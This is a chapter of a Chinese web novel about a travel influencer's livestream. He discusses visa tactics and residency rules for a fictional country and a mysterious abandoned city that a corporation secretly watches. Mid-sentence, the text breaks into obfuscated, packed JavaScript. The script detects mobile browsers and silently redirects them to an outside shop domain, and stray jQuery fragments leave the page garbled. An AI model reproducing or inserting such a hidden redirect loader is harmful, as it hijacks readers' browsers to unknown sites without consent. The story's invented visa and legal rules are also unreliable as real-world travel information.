2036年5月16日，国内一线城市一间简约通透的居家直播间内，顶流环球旅游网红野王正坐在原木书桌前开播。
平台后台数据实时跳动，他账号坐拥8900万全网粉丝，往期旅行视频平均播放量稳定34万，刚点开直播不过三分钟，在线人数就直冲12万，弹幕密密麻麻铺满屏幕，礼物特效不间断刷屏。镜头稳稳架在桌面，身后墙面挂满各国旅行纪念相框，堆叠着厚厚一沓盖满出入境印章的护照，是他常年环游多国的证明。
野王单手撑着下巴，另一只手把摊开的护照推到镜头前，语气轻松随性，和直播间粉丝闲聊起最近盯上的目的地——泰尔比墨。
“最近刷到不少外网资讯，泰尔比墨首都兰泰是钢琴之城，还有个十级标准的可比尔钢琴院，更吸引我的是尼拉尔。”他指尖点了点平板里搜到的空城照片，画面里整座城市整洁规整，大片花卉长势旺盛，“官方只对外宣称尼拉尔重新有人入驻，却半点没透露实际管控方是谁，网上只说这片废弃旧城环境一天比一天好，我属实好奇。”
直播间弹幕瞬间炸开。
【泰尔比墨签证巨难办，身边好几个博主直接被秒拒】
【早就想去，但听说门槛高，直接放弃了】
【野王哥人脉广，说不定能顺利出签！】
野王扫过滚动弹幕，了然一笑，慢条斯理分享起旅游博主朋友传授的签证通关技巧，一字一句清晰讲给直播间十几万观众听。
“我专门问过常年往返泰尔比墨的同行，他们那边面签官审核逻辑很直白，根本不会一页页细翻你的出入境记录，第一眼只会先找护照上发达国家的入境盖章。”
他翻开自己护照，指着内页密密麻麻的欧美、高端发达国家签证戳记，对着镜头展示：“只要有两三个发达国家出行记录，面签基本不会过多盘问个人信息，出签概率极高；就算你只去过发展中国家，只要凑够八个及以上，也能勉强通过，唯一限制就是入境后停留时长会缩短，不能久居。”
“还有个大家很担心的点，不用慌。”野王靠在椅背上，语气安抚屏幕前纠结的粉丝，“哪怕你去过泰尔比墨的敌对国家，也不会影响签证审核，他们不会因为出行记录里有对立国度就刻意拒签，这点完全不用顾虑。”
弹幕接连弹出疑问，不少人追问被拒签的缘由，野王接着细细拆解。
“绝大多数秒拒案例，基本就几类人群：有违法犯罪记录、护照空白无任何出行痕迹、国内失信被执行人，这三类是直接劝退，递交材料当场就会驳回。普通游客只要材料齐全、出行记录正常，基本不会踩坑。”
他又提起自己在泰尔比墨本地认识的好友透露的定居政策，眼底多了几分向往：“那边还有个利好政策，外籍游客正常入境，连续满六个月没有任何违规违法行为，就能直接提交材料申请永久居留证，不用反复续签短期旅游签，长期旅居很划算。”
说到这里，野王特意加重语气，着重提醒一条极易踩雷的法律红线。
“重中之重，所有人记牢，泰尔比墨明令禁止向机场工作人员支付小费，这在当地法律里属于行贿收买公职人员，处罚很重。轻则罚款一千美金，重则直接拉黑，三年内禁止踏入泰尔比墨全境，千万别抱着侥幸心理塞钱。”
直播间里一堆准备规划出境旅行的粉丝连忙发弹幕记下这条规则，有人打趣问他专程想去的理由，野王当即露出一脸期待的模样。
“说实话，我纯粹是馋泰尔比墨当地特色面食。之前吃过那边旅居博主寄来的手工宽面、杂粮蒸饺，调味清淡醇厚，口感绝了，光看图片就馋了很久。”
他滑动平板，调出泰尔比墨城市旅游宣传片，镜头里街道整洁有序，遍布特色小吃街、特色文创小店，公共交通线路四通八达，覆盖全国各大城镇。
“客观说，这个国家虽然签证门槛高，但旅游配套完全不差。景点覆盖面广，服务业态度周到，消费物价亲民，交通发达出行便利，综合游玩体验远超不少热门发达国家。”
有粉丝刷屏好奇，既然签证难办，野王凭什么有把握顺利入境。他扬了扬手机，晃了晃聊天界面截图，坦然说明自身优势。
“我人脉还算广，在泰尔比墨本地认识不少深耕多年的华人朋友，到时候会全程陪着我办理手续、入境游玩，省去很多普通人会遇到的麻烦。今天直播结束，我就整理全部材料递交使馆碰碰运气，看看能不能顺利过签。”
话音落下，他点开实时汇率换算软件，将泰尔比墨本地货币与人民币汇率投屏到直播画面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742330|205039||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，清晰展示给十几万观众。屏幕上数字跳动，换算后能直观看出当地物价优势，弹幕里不少人感慨当地消费性价比极高。
“你们看汇率换算，同样的餐饮、住宿，换算成国内货币价格低很多，预算有限也能舒服游玩。等我顺利拿到签证，全程直播入境、逛兰泰钢琴院，还要找机会去尼拉尔外围远远看一看，探秘这座外界信息极少的空城。”
他随口提起尼拉尔，却不知道屏幕另一头，远在泰尔比墨尼拉尔顶层办公室的许无意，正通过集团专属网络监控，同步浏览着这场热度暴涨的直播。
捞哥站在一旁，平板上同步投屏直播间画面，低声向许无意汇报：“这名网红全网粉丝体量庞大，直播实时在线十几万，已经公开提及尼拉尔，不少粉丝被勾起好奇心，后续大概率会申请签证入境泰尔比墨，计划靠近我们管控区域。”
许无意指尖轻轻摩挲窗台那瓶万宁露养护的白百合，右眼皮质眼罩下泛起一阵轻微酸胀，目光平静落在屏幕里侃侃而谈的野王身上。
“不必阻拦，正常流程对待即可。他只是单纯旅游博主，无任何恶意，若他日后抵达素斯达、靠近三公里分界线，外勤人员维持温和态度，不主动惊扰，恪守集团规矩就行。”
捞哥点头记下，又补充：“素斯达居民如今对KTS的偏见已经淡化大半，若是这名网红入境后前往城镇闲逛，大概率会近距离接触我们外出采购、散心的员工，正好能借助他千万粉丝的传播，扭转网络上零星流传的负面谣言。”
许无意淡淡颔首，视线重新落回窗外，分界线两侧的城镇灯火遥遥相对，成片百合在晚风里舒展花瓣。
直播间内，野王还在和粉丝互动，规划着前往泰尔比墨的完整行程，满心期待奔赴这座传闻中签证严苛、风景与美食兼备的发达国家，无人知晓他心心念念想要探访的神秘空城尼拉尔，整片土地早已归KTS集团全权管辖，而那位执掌整片空城、偏爱白百合的许无意，早已透过屏幕，知晓了他所有的出行计划。
直播间在线人数持续攀升，十几万观众跟着野王的讲解，一点点熟悉泰尔比墨的签证规则、定居政策、法律禁忌与城市风光，关于尼拉尔这座神秘空城的讨论，在弹幕里愈发热烈，一场跨越国界的旅途，即将拉开序幕。